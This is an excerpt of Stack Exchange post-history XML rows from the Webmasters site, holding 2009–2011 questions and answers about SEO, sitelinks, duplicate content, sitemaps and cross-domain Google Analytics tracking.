  <row Id="22055" PostHistoryTypeId="3" PostId="9907" RevisionGUID="08383415-ec2b-4dcd-b00e-42187905e95a" CreationDate="2011-03-02T16:06:37.817" UserId="3142" Text="&lt;url&gt;&lt;url-rewriting&gt;&lt;url-format&gt;" />
  <row Id="22056" PostHistoryTypeId="2" PostId="9908" RevisionGUID="5f093202-0d6d-45b3-be15-312177f1b6f1" CreationDate="2011-03-02T16:10:18.550" UserId="5775" Text="I am new to search engine optimization. I am working on customizing how my results appear in Google as best as possible. I have learned about the meta tags to customize the text summary. However, I have some hierarchical parts to my website. &#xD;&#xA;&#xD;&#xA;When a result appears related to the &quot;tip-of-the-iceberg&quot;, I would like to show links related to the &quot;child&quot; pages. For instance, if you Google &quot;Walmart&quot; you will see the following links listed with the result:&#xD;&#xA;&#xD;&#xA; - Electronics&#xD;&#xA; - TV &amp; Video&#xD;&#xA; - Departments&#xD;&#xA; - Furniture&#xD;&#xA; - Toys&#xD;&#xA; - Girls&#xD;&#xA; - Living Room&#xD;&#xA; - Computers&#xD;&#xA;&#xD;&#xA;Is there any way that I can help Google determine which links to show and the text to display for these child links on my site? Or is this something that Google automatically generates?&#xD;&#xA;&#xD;&#xA;thanks! &#xD;&#xA;&#xD;&#xA; " />
  <row Id="22057" PostHistoryTypeId="1" PostId="9908" RevisionGUID="5f093202-0d6d-45b3-be15-312177f1b6f1" CreationDate="2011-03-02T16:10:18.550" UserId="5775" Text="Formatting Google Search Result" />
  <row Id="22058" PostHistoryTypeId="3" PostId="9908" RevisionGUID="5f093202-0d6d-45b3-be15-312177f1b6f1" CreationDate="2011-03-02T16:10:18.550" UserId="5775" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="22059" PostHistoryTypeId="2" PostId="9909" RevisionGUID="836222f9-a35d-41a0-a180-b777ccfbe88c" CreationDate="2011-03-02T16:12:14.960" UserId="5776" Text="I have written some functionality that opens tabbed content on page when visiting a page via a URL with certain parameters.&#xD;&#xA;&#xD;&#xA;What i have been asked is that will Google, or any other search engine, preserve these URL parameters once my site has been indexed? Therefore when a user that receives said URL as a result visits the site the functionality will be preserved." />
  <row Id="22060" PostHistoryTypeId="1" PostId="9909" RevisionGUID="836222f9-a35d-41a0-a180-b777ccfbe88c" CreationDate="2011-03-02T16:12:14.960" UserId="5776" Text="Will Google preserve URL parameters when indexing my site if the explicit in the site and/or site map" />
  <row Id="22061" PostHistoryTypeId="3" PostId="9909" RevisionGUID="836222f9-a35d-41a0-a180-b777ccfbe88c" CreationDate="2011-03-02T16:12:14.960" UserId="5776" Text="&lt;seo&gt;&lt;google&gt;&lt;url&gt;&lt;indexing&gt;" />
  <row Id="22062" PostHistoryTypeId="2" PostId="9910" RevisionGUID="51c6f0c6-4809-4cfd-9586-fdb2adbd9ce0" CreationDate="2011-03-02T16:26:43.237" UserId="1588" Text="You mean this?&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;You don't control whether or not Google shows this mini navigation menu for your site. Google decides to show it if your site is deemed popular and authoritative enough. &#xD;&#xA;&#xD;&#xA;In practice, unless you're a major brand, it's not going to show up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/dZa4V.jpg" />
  <row Id="22063" PostHistoryTypeId="2" PostId="9911" RevisionGUID="b06a3cc3-d756-4a4e-99f2-2dae2928d600" CreationDate="2011-03-02T16:24:23.783" UserDisplayName="Cem" Text="domain.com/test which is a content not a folder and I would expect it to be without a forward s lash at the end for that reason, am I wrong?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="22064" PostHistoryTypeId="1" PostId="9911" RevisionGUID="b06a3cc3-d756-4a4e-99f2-2dae2928d600" CreationDate="2011-03-02T16:24:23.783" UserDisplayName="Cem" Text="In terms of SEO is using a forward slash in the url best practice?" />
  <row Id="22065" PostHistoryTypeId="3" PostId="9911" RevisionGUID="b06a3cc3-d756-4a4e-99f2-2dae2928d600" CreationDate="2011-03-02T16:24:23.783" UserDisplayName="Cem" Text="&lt;url&gt;&lt;web&gt;&lt;seo&gt;" />
  <row Id="22066" PostHistoryTypeId="17" PostId="9911" RevisionGUID="e4903c35-82f4-4100-b422-3b13827a90e7" CreationDate="2011-03-02T16:28:29.673" UserId="-1" Comment="from http://stackoverflow.com/questions/5170372/in-terms-of-seo-is-using-a-forward-slash-in-the-url-best-practice" Text="" />
  <row Id="22067" PostHistoryTypeId="2" PostId="9912" RevisionGUID="718d2b27-fb43-447c-850a-c7d32b6f8d55" CreationDate="2011-03-02T16:29:14.327" UserId="4502" Text="&lt;a href=&quot;http://www.fileinfo.com/extension/do&quot;&gt;Java Servets&lt;/a&gt;" />
  <row Id="22068" PostHistoryTypeId="5" PostId="9910" RevisionGUID="6d91bc16-96a0-4544-a7b2-f45ea6de0094" CreationDate="2011-03-02T16:41:40.883" UserId="1588" Comment="added 85 characters in body" Text="You mean this?&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;You don't control whether or not Google shows this mini navigation menu for your site. Google decides to show it if your site is deemed popular and authoritative enough. &#xD;&#xA;&#xD;&#xA;In practice, unless you're a major brand, it's not going to show up.&#xD;&#xA;&#xD;&#xA;You might also want to look at &#xD;&#xA;http://webmasters.stackexchange.com/questions/443/&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/dZa4V.jpg" />
  <row Id="22069" PostHistoryTypeId="5" PostId="9908" RevisionGUID="965e3e07-66d3-4872-bd52-c1e679997721" CreationDate="2011-03-02T16:43:13.277" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the most important things I need to do to encourage Google Sitelinks?](http://webmasters.stackexchange.com/questions/503/what-are-the-most-important-things-i-need-to-do-to-encourage-google-sitelinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;I am new to search engine optimization. I am working on customizing how my results appear in Google as best as possible. I have learned about the meta tags to customize the text summary. However, I have some hierarchical parts to my website. &#xD;&#xA;&#xD;&#xA;When a result appears related to the &quot;tip-of-the-iceberg&quot;, I would like to show links related to the &quot;child&quot; pages. For instance, if you Google &quot;Walmart&quot; you will see the following links listed with the result:&#xD;&#xA;&#xD;&#xA; - Electronics&#xD;&#xA; - TV &amp; Video&#xD;&#xA; - Departments&#xD;&#xA; - Furniture&#xD;&#xA; - Toys&#xD;&#xA; - Girls&#xD;&#xA; - Living Room&#xD;&#xA; - Computers&#xD;&#xA;&#xD;&#xA;Is there any way that I can help Google determine which links to show and the text to display for these child links on my site? Or is this something that Google automatically generates?&#xD;&#xA;&#xD;&#xA;thanks! &#xD;&#xA;&#xD;&#xA; " />
  <row Id="22070" PostHistoryTypeId="10" PostId="9908" RevisionGUID="a0b2691d-fb40-47a1-b752-8f1493354cd5" CreationDate="2011-03-02T16:43:13.137" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22071" PostHistoryTypeId="2" PostId="9913" RevisionGUID="b3350880-fdeb-4d80-bed1-0f322191783b" CreationDate="2011-03-02T16:47:15.567" UserId="1253" Text="Yes. URLs with parameters are returned as part of search results and will behave normally when clicked upon.  &#xD;&#xA;&#xD;&#xA;However, this may cause duplicate content issues if those tabs are just hidden DIVs on the page and are shown/hidden when the proper parameters is passed via the URL. You can solve the duplicate content issue with canonical URLs but then only one URL will show in the search results which is counterproductive to your goals. If the content is not hidden/present on the page and is dynamically generated upon each page load then you will have no issues." />
  <row Id="22072" PostHistoryTypeId="2" PostId="9914" RevisionGUID="555721f4-6134-48fd-813e-c4f44abfd350" CreationDate="2011-03-02T16:50:53.830" UserId="1253" Text="It doesn't matter as long as you are consistent. If both URLs pull up the same content then you'll have issues with duplicate content. You should pick one format (I prefer with the trailing slash for the same reasons you do) and do a 301 redirect of the URLs with the trailing slash to it. I would also use canonical URLs to make sure Google know which one is the one you wish to have indexed." />
  <row Id="22073" PostHistoryTypeId="2" PostId="9915" RevisionGUID="7a5e6609-fa33-4817-856a-adfa41516fed" CreationDate="2011-03-02T17:09:46.107" UserId="5693" Text="I know Google is giving a penalties for websites with duplicate content.&#xD;&#xA;What happens if I'm having an RSS feed with news articles and other sites publishes on their website my news? Isn't it duplicate content?" />
  <row Id="22074" PostHistoryTypeId="1" PostId="9915" RevisionGUID="7a5e6609-fa33-4817-856a-adfa41516fed" CreationDate="2011-03-02T17:09:46.107" UserId="5693" Text="duplicate content" />
  <row Id="22075" PostHistoryTypeId="3" PostId="9915" RevisionGUID="7a5e6609-fa33-4817-856a-adfa41516fed" CreationDate="2011-03-02T17:09:46.107" UserId="5693" Text="&lt;seo&gt;&lt;google&gt;&lt;duplicate-content&gt;" />
  <row Id="22076" PostHistoryTypeId="2" PostId="9916" RevisionGUID="67711f76-0e5a-4701-9d79-6cf35e2752b4" CreationDate="2011-03-02T17:14:52.127" UserId="1253" Text="It is duplicate content but they are the ones who will be hit with duplicate content penalties and issues as they are the ones republishing your work.&#xD;&#xA;&#xD;&#xA;[Google has recently made improvements to their algorithm to deal with this][1] and ensure that the original publisher gets credit for the work but it still isn't perfect. However, you can help yo mitigate this by publish a hard link to the original article in your RSS feed so if someone is auto-publishing your articles from that feed that link will show that you are the original author.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/algorithm-change-launched/" />
  <row Id="22077" PostHistoryTypeId="6" PostId="9906" RevisionGUID="ff697cec-1da1-4ac6-838a-9b27729f42a0" CreationDate="2011-03-02T17:20:17.307" UserId="1588" Comment="edited tags" Text="&lt;google&gt;&lt;country-specific&gt;&lt;usage-data&gt;" />
  <row Id="22078" PostHistoryTypeId="25" PostId="9915" RevisionGUID="4b469bff-7ab4-4adf-a4a4-c1712b984e0f" CreationDate="2011-03-02T17:23:12.593" Comment="http://twitter.com/#!/StackWebmasters/status/42998401746481152" />
  <row Id="22079" PostHistoryTypeId="5" PostId="9912" RevisionGUID="377b4a99-d146-4e2c-8b3b-d47f1f2d6c27" CreationDate="2011-03-02T17:30:31.113" UserId="1064" Comment="Spelling adjustment" Text="&lt;a href=&quot;http://www.fileinfo.com/extension/do&quot;&gt;Java Servlets&lt;/a&gt;" />
  <row Id="22080" PostHistoryTypeId="5" PostId="9821" RevisionGUID="a8e2e860-e8cc-4239-a904-85acb518f72f" CreationDate="2011-03-02T17:33:08.023" UserId="5648" Comment="Asked about openlaszlo" Text="I am an experienced web developer on a shoestring budget. What **free** or *very inexpensive* ways exist to create a website using Adobe Flash?&#xD;&#xA;&#xD;&#xA;Even low-level manipulations would be appreciated, like an actionscript compiler, so I could design something basic like an interactive map.&#xD;&#xA;&#xD;&#xA;**Update**: What is OpenLaszlo? Can it compile everything into a .swf or do I still require adobe's tools?&#xD;&#xA;&#xD;&#xA;  [1]: http://osflash.org" />
  <row Id="22081" PostHistoryTypeId="4" PostId="9821" RevisionGUID="a8e2e860-e8cc-4239-a904-85acb518f72f" CreationDate="2011-03-02T17:33:08.023" UserId="5648" Comment="Asked about openlaszlo" Text="Free way to create flash content, OpenLaszlo?" />
  <row Id="22082" PostHistoryTypeId="2" PostId="9917" RevisionGUID="bf8d3533-edec-4179-8d0b-1df4c74fb1bb" CreationDate="2011-03-02T17:36:21.437" UserId="5718" Text="I think the duplicate content issue relates to content being taken from your site without permission. As you've given permission I don't think there should be any issues for either site as long as they are publishing a link back to your site. It's also best to just publish a teaser in the feed so they are only displaying a summary and people need to navigate back to your site for the rest. That should actually improve your ranking instead of the other way around.&#xD;&#xA;" />
  <row Id="22087" PostHistoryTypeId="2" PostId="9919" RevisionGUID="3c294a5a-de3b-466e-9e39-a807a2f516b4" CreationDate="2011-03-02T18:03:42.740" UserId="5718" Text="Checkout the Experian Hitwise Stats:&#xD;&#xA;&#xD;&#xA;US:&#xD;&#xA;http://www.hitwise.com/us/resources/data-center&#xD;&#xA;&#xD;&#xA;UK:&#xD;&#xA;http://www.hitwise.com/uk/resources/data-center&#xD;&#xA;&#xD;&#xA;The &quot;Top Websites and Search&quot; report should be of interest." />
  <row Id="22088" PostHistoryTypeId="2" PostId="9920" RevisionGUID="dcc9bd91-7816-4f3d-997e-8e614a0b0a63" CreationDate="2011-03-02T18:43:52.993" UserId="5781" Text="Both OpenLaszlo and the official [Flex SDK][2] are open-source, so basically any good text editor (I'd suggest [FlashDevelop][3] on Windows or VM) or IDE can be used to create full-fledged ActionScript projects. If you're mainly interested in point-and-click, design-based environments, though, you may find yourself limited to the relatively expensive Adobe Flash IDE. There have been a few attempts to create alternative IDEs, but (in my opinion) none that come close to offering a full authoring environment. (Check osflash.org for other possibilities, though.)&#xD;&#xA;&#xD;&#xA;If none of these options fit your needs, and you just want to make something quick and simple without investing a lot of time and effort, you may find it best to simply hire a freelance developer/designer to create the piece you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openlaszlo.org&#xD;&#xA;  [2]: http://opensource.adobe.com/wiki/display/flexsdk/Flex+SDK&#xD;&#xA;  [3]: http://www.flashdevelop.org/wikidocs/index.php?title=Main_Page" />
  <row Id="22089" PostHistoryTypeId="2" PostId="9921" RevisionGUID="1b21ee7e-f35e-475d-be2e-ca0e57cc4ae3" CreationDate="2011-03-02T18:47:05.940" UserId="4745" Text="We have a main site that Google analytics is currently running fine on (www.ourcompany.com).  We have a page that is technically part of the site (same design, etc.) but is hosted on another server/domain for various business reasons (www.ourparentcompany.com/ourcompanyapp/).&#xD;&#xA;&#xD;&#xA;Do we just add the normal google analytics code to the bottom of that page? Or is there something more we have to do?&#xD;&#xA;&#xD;&#xA;If there isn't anything more then couldn't anyone just take your GA code and start reporting analytics to your profile from their site?" />
  <row Id="22090" PostHistoryTypeId="1" PostId="9921" RevisionGUID="1b21ee7e-f35e-475d-be2e-ca0e57cc4ae3" CreationDate="2011-03-02T18:47:05.940" UserId="4745" Text="How to make google analytics report on two domains as though they are one site?" />
  <row Id="22091" PostHistoryTypeId="3" PostId="9921" RevisionGUID="1b21ee7e-f35e-475d-be2e-ca0e57cc4ae3" CreationDate="2011-03-02T18:47:05.940" UserId="4745" Text="&lt;google&gt;&lt;domains&gt;&lt;google-analytics&gt;" />
  <row Id="22092" PostHistoryTypeId="2" PostId="9922" RevisionGUID="315b149a-5412-4082-bf00-741f1c7dd1f1" CreationDate="2011-03-02T19:20:52.283" UserId="5718" Text="You need to set the domain name to 'none' otherwise visits from one of the sites won't get tracked:&#xD;&#xA;&#xD;&#xA;      _gaq.push(['_setDomainName', 'none']);&#xD;&#xA;&#xD;&#xA;You also might want to use the linker so that the GA cookies are transferred across to the other domain when a user moves onto it from a link in the other site:&#xD;&#xA;&#xD;&#xA;      _gaq.push(['__setAllowLinker', true]);&#xD;&#xA;&#xD;&#xA;However, the cookies won't be available from one domain on the other if the user enters from a source other than one of your sites. This is because GA uses first party cookies. &#xD;&#xA;" />
  <row Id="22095" PostHistoryTypeId="17" PostId="9925" RevisionGUID="51b82248-2bd1-494d-9e5a-5aa208842f3d" CreationDate="2011-03-02T20:00:52.890" UserId="-1" Comment="from http://serverfault.com/questions/39652/how-are-the-sitemaps-of-big-sites-generated/39664#39664" Text="" />
  <row Id="22096" PostHistoryTypeId="17" PostId="9926" RevisionGUID="fa68e3b3-f77e-4ef8-83ca-2c32d6eff122" CreationDate="2011-03-02T20:00:52.890" UserId="-1" Comment="from http://serverfault.com/questions/39652/how-are-the-sitemaps-of-big-sites-generated/39665#39665" Text="" />
  <row Id="22097" PostHistoryTypeId="17" PostId="9927" RevisionGUID="bab36977-7218-48e8-8503-20f5a7a265b7" CreationDate="2011-03-02T20:00:52.890" UserId="-1" Comment="from http://serverfault.com/questions/39652/how-are-the-sitemaps-of-big-sites-generated/39673#39673" Text="" />
  <row Id="22098" PostHistoryTypeId="17" PostId="9928" RevisionGUID="849838a6-7369-4276-8978-0cc20af962bc" CreationDate="2011-03-02T20:00:52.890" UserId="-1" Comment="from http://serverfault.com/questions/39652/how-are-the-sitemaps-of-big-sites-generated/242388#242388" Text="" />
  <row Id="22099" PostHistoryTypeId="2" PostId="9925" RevisionGUID="61164897-bc6e-4de5-9715-3c65445abe34" CreationDate="2009-07-12T23:55:22.457" UserId="1287" Text="MediaWiki sites have all of their content in a relational database (RDBMS).  The code for generating a site map basically just does SQL SELECT query to pull up the necessary information for every page.  Probably doable in a single SQL query (that returns one row per page).  The code for that is fairly simple, really.&#xD;&#xA;&#xD;&#xA;Any large site that uses a content management system (CMS) will have an equally easy time generating a sitemap, even if there's a million pages.  Query the database, format the results into the appropriate sitemap format.  Pretty much the same kind of code as a search, but with one less WHERE clause (to return everything) and no pagination needed.  The database type and schema can affect how easy this is, but in general a CMS will have the page name, URL (well, fields necessary to generate a URL), modification date and stuff like that as fields in the database.&#xD;&#xA;&#xD;&#xA;This question and your other two make it seem like you don't really understand that MediaWiki sites uses a relational database, not a bunch of directories full of files.&#xD;&#xA;&#xD;&#xA;Do you *have* a large site you're trying to generate sitemaps for?  How is the data stored?  Plain old-fashioned files on a filesystem?" />
  <row Id="22100" PostHistoryTypeId="2" PostId="9926" RevisionGUID="908c1649-8bfc-4c84-94bc-3ff6d0ef7412" CreationDate="2009-07-12T23:56:44.547" UserDisplayName="Spencer Ruport" Text="Most public sites only have a few &quot;pages&quot; as far as the developer is concerned. &#xD;&#xA;&#xD;&#xA;Server Fault, for example, probably only consists of about 20 different pages. What this means is that large portions of site maps can be generated dynamically based on information in the back end database and then a few extra pages are added in statically." />
  <row Id="22101" PostHistoryTypeId="2" PostId="9927" RevisionGUID="d3d57a99-bb9e-4535-a69d-c914a295465b" CreationDate="2009-07-13T00:23:41.603" UserDisplayName="jipipayo" Text="check this blog post&#xD;&#xA;&#xD;&#xA;http://dynamical.biz/blog/seo-technical/sitemap-strategy-large-sites-17.html" />
  <row Id="22102" PostHistoryTypeId="2" PostId="9928" RevisionGUID="e1039e84-0a16-4a4b-a76f-252e6a85f5dc" CreationDate="2011-03-02T19:37:33.260" UserDisplayName="Matt Beckman" Text="You have a few options.&#xD;&#xA;&#xD;&#xA;If it is a large website built in-house, you would probably build your sitemaps based on database queries. You also have the option to &quot;googlebot&quot; yourself using various sitemap generators that will start on your homepage and crawl your entire website -- automatically building sitemap files.&#xD;&#xA;&#xD;&#xA;We use this software for crawling and building sitemaps for some large websites:&#xD;&#xA;&#xD;&#xA;http://www.xml-sitemaps.com/" />
  <row Id="22103" PostHistoryTypeId="2" PostId="9924" RevisionGUID="4a2663f1-e2f1-4948-a615-4ceac0121e98" CreationDate="2009-07-12T23:42:32.920" UserDisplayName="hhh" Text="*The question is related to my questions about things &lt;a href=&quot;http://serverfault.com/questions/32680/how-is-the-filesystem-of-wikipedia-designed&quot;&gt;the filesystem of Wikipedia&lt;/a&gt; and &lt;a href=&quot;http://serverfault.com/questions/32175/how-does-wikipedia-generate-its-sitemap&quot;&gt;generating sitemap for Wikipedia&lt;/a&gt;. It is more general.* &#xD;&#xA;&#xD;&#xA;**Problem:** Suppose a site on MediaWiki with about 10,000 pages is partly indexed by search engines. It has similar spects as &lt;a href=&quot;http://www.proofwiki.org/wiki/Special:Version&quot;&gt;the spects&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;**Question:** How can you generate sitemaps for any big site to quarantee its visibility in search engines?" />
  <row Id="22104" PostHistoryTypeId="1" PostId="9924" RevisionGUID="4a2663f1-e2f1-4948-a615-4ceac0121e98" CreationDate="2009-07-12T23:42:32.920" UserDisplayName="hhh" Text="How are the sitemaps of big sites generated?" />
  <row Id="22105" PostHistoryTypeId="3" PostId="9924" RevisionGUID="4a2663f1-e2f1-4948-a615-4ceac0121e98" CreationDate="2009-07-12T23:42:32.920" UserDisplayName="hhh" Text="&lt;wiki&gt;&lt;sitemap&gt;&lt;search-engines&gt;" />
  <row Id="22106" PostHistoryTypeId="17" PostId="9924" RevisionGUID="61633686-fd65-4b8c-8c5a-2d2323b104c2" CreationDate="2011-03-02T20:00:52.890" UserId="-1" Comment="from http://serverfault.com/questions/39652/how-are-the-sitemaps-of-big-sites-generated" Text="" />
  <row Id="22107" PostHistoryTypeId="25" PostId="9907" RevisionGUID="452a1d7b-2d7f-4b41-b15c-95ffcfef892f" CreationDate="2011-03-02T20:23:12.877" Comment="http://twitter.com/#!/StackWebmasters/status/43043699940261888" />
  <row Id="22108" PostHistoryTypeId="2" PostId="9929" RevisionGUID="616bdbd0-9b0f-49ca-a7a7-0b001e989ddb" CreationDate="2011-03-02T20:33:24.240" UserId="5784" Text="To clarify, if I wear to use xml data from another website to make charts on my site, would that affect their SEO? &#xD;&#xA;&#xD;&#xA;Thank you. " />
  <row Id="22109" PostHistoryTypeId="1" PostId="9929" RevisionGUID="616bdbd0-9b0f-49ca-a7a7-0b001e989ddb" CreationDate="2011-03-02T20:33:24.240" UserId="5784" Text="Does using data from another website increase their SEO?" />
  <row Id="22110" PostHistoryTypeId="3" PostId="9929" RevisionGUID="616bdbd0-9b0f-49ca-a7a7-0b001e989ddb" CreationDate="2011-03-02T20:33:24.240" UserId="5784" Text="&lt;seo&gt;&lt;xml&gt;" />
  <row Id="22111" PostHistoryTypeId="2" PostId="9930" RevisionGUID="ec0dba61-605d-4bb1-93fd-e88f88360a84" CreationDate="2011-03-02T20:37:30.843" UserId="1253" Text="It won't affect their SEO as it is not on their website nor are you linking to their website. The most that can happen is if the content produced from that data creates a page that closes matches their page then it will be flagged as duplicate content and the newer page, your page, will be filtered out of the search results. It is possible that their page may be filtered out as Google is still working on getting better at who the content originated with, but that will continue to improve over time and you should generally consider that your page will be the one filtered out." />
  <row Id="22112" PostHistoryTypeId="5" PostId="9860" RevisionGUID="ad30384c-07cc-4011-be09-9824df04e5ff" CreationDate="2011-03-02T20:37:46.273" UserId="4142" Comment="Tried to clarify the question quite a bit, mostly by moving around words and rephrasing things (looks like author is originally Spanish-speaking). Also added the &quot;high-traffic&quot; tag." Text="I'm working on a big project, and I do not have much experience with servers and how much they cost.&#xD;&#xA;&#xD;&#xA;The big project consist of a new table game for online playing and betting. Basically, a poker server that must be responsive with thousands of concurrent users.&#xD;&#xA;&#xD;&#xA;What type of server must i look for? What features, hardware or software, are required? Should I consider cloud computing?&#xD;&#xA;&#xD;&#xA;thank you in advance." />
  <row Id="22113" PostHistoryTypeId="4" PostId="9860" RevisionGUID="ad30384c-07cc-4011-be09-9824df04e5ff" CreationDate="2011-03-02T20:37:46.273" UserId="4142" Comment="Tried to clarify the question quite a bit, mostly by moving around words and rephrasing things (looks like author is originally Spanish-speaking). Also added the &quot;high-traffic&quot; tag." Text="Server cost/requirements for a web site with thousands of concurrent users?" />
  <row Id="22114" PostHistoryTypeId="6" PostId="9860" RevisionGUID="ad30384c-07cc-4011-be09-9824df04e5ff" CreationDate="2011-03-02T20:37:46.273" UserId="4142" Comment="Tried to clarify the question quite a bit, mostly by moving around words and rephrasing things (looks like author is originally Spanish-speaking). Also added the &quot;high-traffic&quot; tag." Text="servercosthigh-traffic" />
  <row Id="22115" PostHistoryTypeId="24" PostId="9860" RevisionGUID="ad30384c-07cc-4011-be09-9824df04e5ff" CreationDate="2011-03-02T20:37:46.273" Comment="Proposed by 4142 approved by 1253 edit id of 41" />
  <row Id="22116" PostHistoryTypeId="5" PostId="9922" RevisionGUID="e1dc6510-92ea-45e3-8161-9c4339c85cad" CreationDate="2011-03-02T20:42:17.907" UserId="5718" Comment="added 285 characters in body" Text="You need to either set the domain name to 'none' OR remove the domain hash otherwise visits from one of the sites won't get tracked:&#xD;&#xA;&#xD;&#xA;Either:&#xD;&#xA;&#xD;&#xA;    _gaq.push(['_setDomainName', 'none']);&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;    _gaq.push(['_setAllowHash', false]);&#xD;&#xA;&#xD;&#xA;You should use the first operation when you are tracking across domains but not across sub-domains. If you need to track across sub-domains as well then you should use the second approach.&#xD;&#xA;&#xD;&#xA;You also might want to use the linker so that the GA cookies are transferred across to the other domain when a user moves onto it from a link in the other site:&#xD;&#xA;&#xD;&#xA;      _gaq.push(['__setAllowLinker', true]);&#xD;&#xA;&#xD;&#xA;However, the cookies won't be available from one domain on the other if the user enters from a source other than one of your sites. This is because GA uses first party cookies. &#xD;&#xA;" />
  <row Id="22117" PostHistoryTypeId="2" PostId="9931" RevisionGUID="10b90981-99fc-4444-9a4b-2b312007ec07" CreationDate="2011-03-02T20:46:30.453" UserId="4142" Text="It looks as if Yahoo and Bing do not yet support image sitemaps, which is why they are not validating in Yahoo's Site Explorer.&#xD;&#xA;&#xD;&#xA;To avoid getting the validation error, you could place all of your image sitemaps in a second sitemap index, and only submit that to Google through it's Webmaster Tools. This should prevent you from receiving errors from any of the other search engines, and would still allow Google to utilize that sitemap for it's image search." />
  <row Id="22118" PostHistoryTypeId="2" PostId="9932" RevisionGUID="a3eb451a-cdb4-40b6-a815-53350209b7c2" CreationDate="2011-03-02T21:49:37.987" UserId="5718" Text="The micro-sites offering information sounds like the best idea but try not to have too many links going into the main domain as it might be seen as creating artificial links. Having an exact match domain name can sometimes rank a site high on keywords that don't have too much competition.&#xD;&#xA;&#xD;&#xA;However, with regards to searching for &quot;spammy&quot; SEO techniques, it's probably better to focus your time on some of the huge array of other more productive online marketing avenues because most &quot;tricks&quot; either never worked, currently work but won't in the future or worked in the past but don't now. With so much that could be done you don't want to waist your time on less productive work. It's better to build something that will work long term." />
  <row Id="22119" PostHistoryTypeId="2" PostId="9933" RevisionGUID="c2b26e21-38d6-41ba-849e-c82a0a74bdca" CreationDate="2010-08-05T09:51:01.910" UserId="1320" Text="I want to track my website's position in Google's search results for around 50 keywords/phrases and am looking to a nice webapp/windows app to automate this process? Ideally i want to see pretty line graphs for my keyword/position.&#xD;&#xA;&#xD;&#xA;I'm currently trying:&#xD;&#xA;[Raven Tools][1] and&#xD;&#xA;[Sheer SEO][2] but am not particularly impressed with either...&#xD;&#xA;&#xD;&#xA;I guess my budget is upto £25-30/$30-40 for a decent bit of software&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.sheerseo.com" />
  <row Id="22120" PostHistoryTypeId="1" PostId="9933" RevisionGUID="c2b26e21-38d6-41ba-849e-c82a0a74bdca" CreationDate="2010-08-05T09:51:01.910" UserId="1320" Text="can anyone reccommend a Google SERP tracker?" />
  <row Id="22121" PostHistoryTypeId="3" PostId="9933" RevisionGUID="c2b26e21-38d6-41ba-849e-c82a0a74bdca" CreationDate="2010-08-05T09:51:01.910" UserId="1320" Text="&lt;windows&gt;&lt;google&gt;&lt;web-applications&gt;" />
  <row Id="22122" PostHistoryTypeId="17" PostId="9933" RevisionGUID="7a1dd17c-bb22-4efc-a026-829c9c37195b" CreationDate="2011-03-02T22:20:15.577" UserId="-1" Comment="from http://superuser.com/questions/172300/can-anyone-reccommend-a-google-serp-tracker" Text="" />
  <row Id="22123" PostHistoryTypeId="2" PostId="9934" RevisionGUID="ab6df1e3-d812-4576-bbd7-1c6d328c827f" CreationDate="2011-03-02T22:22:06.527" UserId="5718" Text="I'm not sure if there's anything that won't take any time at all to set up but you could put something together quickly using Drupal without needing to write any additional code.&#xD;&#xA;&#xD;&#xA;There's also a module for Joomla called DOCman that appears to be similar to what you want but I don't currently use Joomla myself so can't recommend it's suitability." />
  <row Id="22124" PostHistoryTypeId="2" PostId="9935" RevisionGUID="9af81177-c1fd-4021-9c11-31c3bf245ca1" CreationDate="2011-03-02T22:30:05.487" UserId="5787" Text="...Or more specifically, [Struts][1], and it means &quot;do&quot; as in &quot;perform an action&quot;, URLs are usually mapped to the Controllers within an MVC architecture, and &quot;do&quot; is just a convention, any URL can be mapped, having &quot;.do&quot; doesn't do anything special.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://struts.apache.org/" />
  <row Id="22125" PostHistoryTypeId="2" PostId="9936" RevisionGUID="bfdf2e9b-6d66-4a0a-ab95-a4c097e3cec8" CreationDate="2011-03-02T22:57:41.497" UserDisplayName="user5788" Text="I have a traditional HTML website that loads pages/sections of the site when people click on menu items. Pretty standard.&#xD;&#xA;Currently, I'm working on relaunching my website with a brand new HTML5 code &amp; jquery that loads the whole thing, and just slides from one section to the next, sort of like this website: http://www.mino.pl/&#xD;&#xA;&#xD;&#xA;My concern is that this will affect my ranking with google and websiteoutlook.com because it may seem like the website only has one page now instead of 8, making it look like I have less pageviews and making my site less relevant for search engine rankings.&#xD;&#xA;&#xD;&#xA;Are my concerns legit? If so, do you have suggestions on how to avoid it? I really like the idea of working with a page that 'slides' to different sections better than having pages load all the time.&#xD;&#xA;&#xD;&#xA;Any suggestions/thoughts would be very much appreciated. Thanks." />
  <row Id="22126" PostHistoryTypeId="1" PostId="9936" RevisionGUID="bfdf2e9b-6d66-4a0a-ab95-a4c097e3cec8" CreationDate="2011-03-02T22:57:41.497" UserDisplayName="user5788" Text="Will my new HTML5 website decrease my Google ranking?" />
  <row Id="22127" PostHistoryTypeId="3" PostId="9936" RevisionGUID="bfdf2e9b-6d66-4a0a-ab95-a4c097e3cec8" CreationDate="2011-03-02T22:57:41.497" UserDisplayName="user5788" Text="&lt;seo&gt;&lt;html5&gt;&lt;jquery&gt;" />
